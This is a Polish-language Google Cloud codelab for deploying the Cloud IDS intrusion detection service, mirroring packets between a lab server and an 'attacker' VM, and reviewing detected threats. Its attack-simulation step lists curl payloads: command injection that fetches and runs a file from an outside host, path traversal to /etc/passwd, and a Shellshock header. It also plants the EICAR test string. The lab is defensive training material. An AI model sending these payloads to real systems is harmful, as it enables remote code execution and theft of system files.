1. Wprowadzenie
W tym module wdrożysz Cloud IDS – zaawansowaną usługę wykrywania włamań, która wykrywa włamania, złośliwe oprogramowanie, programy szpiegowskie oraz ataki z użyciem sterowania i kontroli. Będziesz symulować wiele ataków i przeglądać szczegóły zagrożeń w konsoli Google Cloud.
Czego się nauczysz
- Jak utworzyć punkt końcowy Cloud IDS
- Jak utworzyć 2 maszyny wirtualne za pomocą poleceń gcloud
- Jak utworzyć zasadę dublowania pakietów
- Jak symulować atak z maszyny wirtualnej
- Jak wyświetlić szczegóły zagrożeń w konsoli Cloud i Cloud Logging
Czego potrzebujesz
- znajomości podstawowych poleceń w systemie Linux.
2. Przypadki użycia Cloud IDS
Cloud IDS udostępnia klientom usługę wykrywania włamań nowej generacji w Google Cloud, która umożliwia klientom spełnienie zaawansowanych wymagań związanych z wykrywaniem zagrożeń i zgodnością z przepisami, takich jak PCI 11.4. Usługa jest oparta na technologiach ochrony przed zagrożeniami Palo Alto Networks, które zapewniają zaawansowane wykrywanie włamań. Połączenie światowej klasy infrastruktury Google Cloud ze światowej klasy zabezpieczeniami Palo Alto Networks zapewnia klientom niezrównane połączenie w pełni zarządzanej, wysokiej wydajności i zaawansowanej usłudze wykrywania zagrożeń.
Podczas migracji do chmury klienci stawiają na bezpieczeństwo. Klient chce mieć dostęp do podobnych zabezpieczeń, które są stosowane w środowisku lokalnym, na przykład do wykrywania włamań (IDS) w chmurze. Zdecydowanie wolą korzystać z zarządzanego w chmurze rozwiązania IDS, które umożliwia łatwe wdrażanie, wysoką wydajność i optymalizację kosztów w porównaniu z wdrażaniem rozwiązania zabezpieczającego innej firmy i zarządzaniem infrastrukturą lub budowaniem własnych podpisów. Google Cloud IDS udostępnia kompleksową i automatycznie skalowaną zarządzaną usługę IDS, która umożliwia klientom poświęcenie czasu na analizowanie i eliminowanie zagrożeń oraz pozwala zaoszczędzić czas i zasoby związane z zarządzaniem podpisami infrastruktury lub zagrożeń.
Cloud IDS jest wdrażane poza zakresem i może wykrywać zagrożenia oraz wysyłać alerty na ich temat, ale nie mogą blokować zagrożeń. Wykorzystuje do tego mechanizm dublowania pakietów Google Cloud do tworzenia kopii ruchu sieciowego, który jest analizowany za pomocą mechanizmu wykrywania zagrożeń Palo Alto Network.
3. Topologia ćwiczeń z programowania
Rysunek 1. Ogólne omówienie architektury wdrożenia Cloud IDS w tym module.
4. Konfiguracja i wymagania
Samodzielne konfigurowanie środowiska
- Zaloguj się w konsoli Google Cloud i utwórz nowy projekt lub wykorzystaj już istniejący. Jeśli nie masz jeszcze konta Gmail ani Google Workspace, musisz je utworzyć.
- Nazwa projektu jest wyświetlaną nazwą uczestników tego projektu. Jest to ciąg znaków, który nie jest używany przez interfejsy API Google i w każdej chwili możesz go zaktualizować.
- Identyfikator projektu musi być unikalny we wszystkich projektach Google Cloud i nie można go zmienić (nie można go zmienić po ustawieniu). Cloud Console automatycznie wygeneruje unikalny ciąg znaków. zwykle nieważne, co ona jest. W większości ćwiczeń w Codelabs musisz odwoływać się do identyfikatora projektu (który zwykle nazywa się
PROJECT_ID
), więc jeśli Ci się nie podoba, wygeneruj kolejny losowy kod lub wypróbuj swój własny i sprawdź, czy jest dostępny. Potem urządzenie jest „zawieszone”. po utworzeniu projektu. - Występuje trzecia wartość – numer projektu – używany przez niektóre interfejsy API. Więcej informacji o wszystkich 3 wartościach znajdziesz w dokumentacji.
- Następnie musisz włączyć płatności w konsoli Cloud, aby móc korzystać z zasobów i interfejsów API Cloud. Ukończenie tego ćwiczenia z programowania nie powinno kosztować zbyt wiele. Aby wyłączyć zasoby, aby nie naliczać opłat po zakończeniu tego samouczka, wykonaj czynności „wyczyść” znajdziesz na końcu tego ćwiczenia. Nowi użytkownicy Google Cloud mogą skorzystać z programu bezpłatnego okresu próbnego o wartości 300 USD.
Uruchamianie Cloud Shell
Google Cloud można obsługiwać zdalnie z laptopa, ale w ramach tego ćwiczenia z programowania wykorzystasz Google Cloud Shell – środowisko wiersza poleceń działające w Cloud.
W konsoli GCP kliknij ikonę Cloud Shell na górnym pasku narzędzi:
Uzyskanie dostępu do środowiska i połączenie się z nim powinno zająć tylko kilka chwil. Po zakończeniu powinno pojawić się coś takiego:
Ta maszyna wirtualna ma wszystkie potrzebne narzędzia dla programistów. Zawiera stały katalog domowy o pojemności 5 GB i działa w Google Cloud, znacząco zwiększając wydajność sieci i uwierzytelnianie. Wszystkie zadania w tym module możesz wykonać w przeglądarce.
5. Zanim zaczniesz
Włącz interfejsy API
Sprawdź w Cloud Shell, czy identyfikator projektu jest skonfigurowany
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
Włącz wszystkie niezbędne usługi
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. Utwórz sieć VPC
Sieć VPC
Z Cloud Shell
gcloud compute networks create cloud-ids \ --subnet-mode=custom
Podsieć
Z Cloud Shell
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
Prywatny dostęp do usług
Z Cloud Shell
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
Połączenie z usługą prywatną
Z Cloud Shell
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
Reguły zapory sieciowej
Aby umożliwić IAP nawiązywanie połączeń z maszynami wirtualnymi, utwórz regułę zapory sieciowej, która:
- Dotyczy wszystkich instancji maszyn wirtualnych, które mają być dostępne za pomocą IAP.
- Zezwala na ruch przychodzący z zakresu adresów IP 35.235.240.0/20. Ten zakres zawiera wszystkie adresy IP używane przez IAP do przekierowywania TCP.
Z Cloud Shell
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
Aby zezwolić na dostęp do serwera przez standardowy port HTTP (TCP 80) i protokół ICMP:
- Ma zastosowanie do zasobów z tagiem sieci „server”
- Zezwala na ruch przychodzący ze wszystkich źródeł
Z Cloud Shell
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
Utwórz instancję Cloud NAT
Cloud Router
Z Cloud Shell
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
Z Cloud Shell
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. Utwórz punkt końcowy Cloud IDS
W tej sekcji utworzysz punkt końcowy Cloud IDS w regionie us-east1 z poziomem ważności ustawionym na wartość informacyjną. Tworzenie punktu końcowego IDS trwa około 20 minut.
Punkt końcowy IDS
Z Cloud Shell
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
Sprawdzanie, czy punkt końcowy Cloud IDS został zainicjowany
gcloud ids endpoints list --project=$PROJECT_ID
Dane wyjściowe –
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. Utwórz 2 maszyny wirtualne
W tej sekcji utworzysz 2 maszyny wirtualne. Pierwszą z nich będzie serwer WWW, który replikuje dane z Cloud IDS. Druga maszyna wirtualna będzie źródłem ruchu ataku.
Maszyna wirtualna 1 (serwer)
Z Cloud Shell
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
Maszyna wirtualna 2 (klient)
Z Cloud Shell
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. Przygotowywanie serwera
W tym zadaniu sprawdzisz poprawność serwera i dostarczysz klientowi niegroźny ładunek złośliwego oprogramowania.
Połącz się z maszyną wirtualną przez SSH przez Cloud Shell
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
Potwierdź, że usługa sieciowa jest uruchomiona
sudo systemctl status nginx
Dane wyjściowe – sprawdź, czy usługa jest aktywna i uruchomiona
● nginx.service - A high performance web server and a reverse proxy server Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled) Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago Docs: man:nginx(8) Main PID: 1347 (nginx) Tasks: 3 (limit: 4665) Memory: 4.5M CGroup: /system.slice/nginx.service ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; ├─1348 nginx: worker process └─1349 nginx: worker process May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server... May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
Zmień katalog na usługę sieciową
cd /var/www/html/
Utworzenie niegroźnego pliku złośliwego oprogramowania na serwerze WWW
sudo touch eicar.file
Wklej zawartość
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
Wróć do CloudShell
exit
Tworzenie zasady dublowania pakietów w Cloud IDS
Zidentyfikuj regułę przekierowania punktu końcowego IDS i upewnij się, że stan punktu końcowego IDS to „READY”.
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
Przykładowe dane wyjściowe – skopiuj wartość z „endpointforwardRule”
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
Zapisz regułę przekierowania punktu końcowego IDS w zmiennej.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
Zasady dublowania pakietów
Z Cloud Shell
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
Sprawdź, czy została utworzona zasada dublowania pakietów
Z Cloud Shell
gcloud compute packet-mirrorings list
Wyniki
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. Symuluj ruch związany z atakiem
Połącz się z maszyną wirtualną przeprowadzającą atak przez SSH (klient)
Z Cloud Shell
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
Uruchom następujące żądania curl, aby symulować szkodliwy ruch.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
Wyjdź z maszyny wirtualnej, aby wrócić do CloudShell
exit
11. Sprawdzanie zagrożeń wykrytych przez Cloud IDS
Przejdź do panelu Cloud IDS
Menu nawigacyjne > Bezpieczeństwo sieciowe > Identyfikatory Cloud
Otwórz kartę Zagrożenia.
Jak widać, IDS w chmurze przechwytuje różne profile ruchu ataku i przekazuje szczegółowe informacje o każdym zagrożeniu. Być może trzeba będzie kliknąć przycisk „Odśwież”. jeśli nie widzisz żadnych zagrożeń. Omówimy teraz nieco bardziej szczegółowo i przejrzymy szczegóły zagrożeń.
Znajdź „lukę w zabezpieczeniach umożliwiającą wykonanie kodu zdalnego SSH” kliknij 3 kropki po prawej stronie i wybierz „Wyświetl szczegóły zagrożenia”
Teraz wyświetlimy szczegóły tego incydentu w Cloud Logging. Wróć na stronę Zagrożenia, klikając strzałkę w lewo .
Kliknij 3 kropki po prawej stronie i wybierz „Wyświetl logi zagrożeń”
Te same szczegóły są podawane w Cloud Logging. Pozwoli Ci to wysyłać logi do Cloud Storage, Chronicle lub dowolnego narzędzia SIEM/SOAR. Możesz też tworzyć niestandardowe przepływy pracy, aby podejmować działania naprawcze na podstawie alertów, np. przez utworzenie funkcji w Cloud Functions, która aktywuje się po otrzymaniu alertu i utworzy/zaktualizuje regułę zapory sieciowej, która zablokuje adres IP, albo utworzy/zaktualizuje zasadę Cloud Armor.
12. Procedura czyszczenia
Wyjdź z instancji maszyny wirtualnej (wszystkie karty)
exit
Usuń komponenty modułu z jednego terminala Cloud Shell
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. Gratulacje!
Gratulujemy ukończenia ćwiczeń z programowania.
Omówione zagadnienia
- Przypadki użycia Cloud IDS
- Wymagania związane z siecią
- Obsługiwane interfejsy API
- Utworzono punkt końcowy Cloud IDS
- Wdrożono 2 maszyny wirtualne
- Wygenerowano „atak” ruch generowany przez klienta
- IDS wykryło zweryfikowane zagrożenia
- Sprawdź szczegóły i logi zagrożeń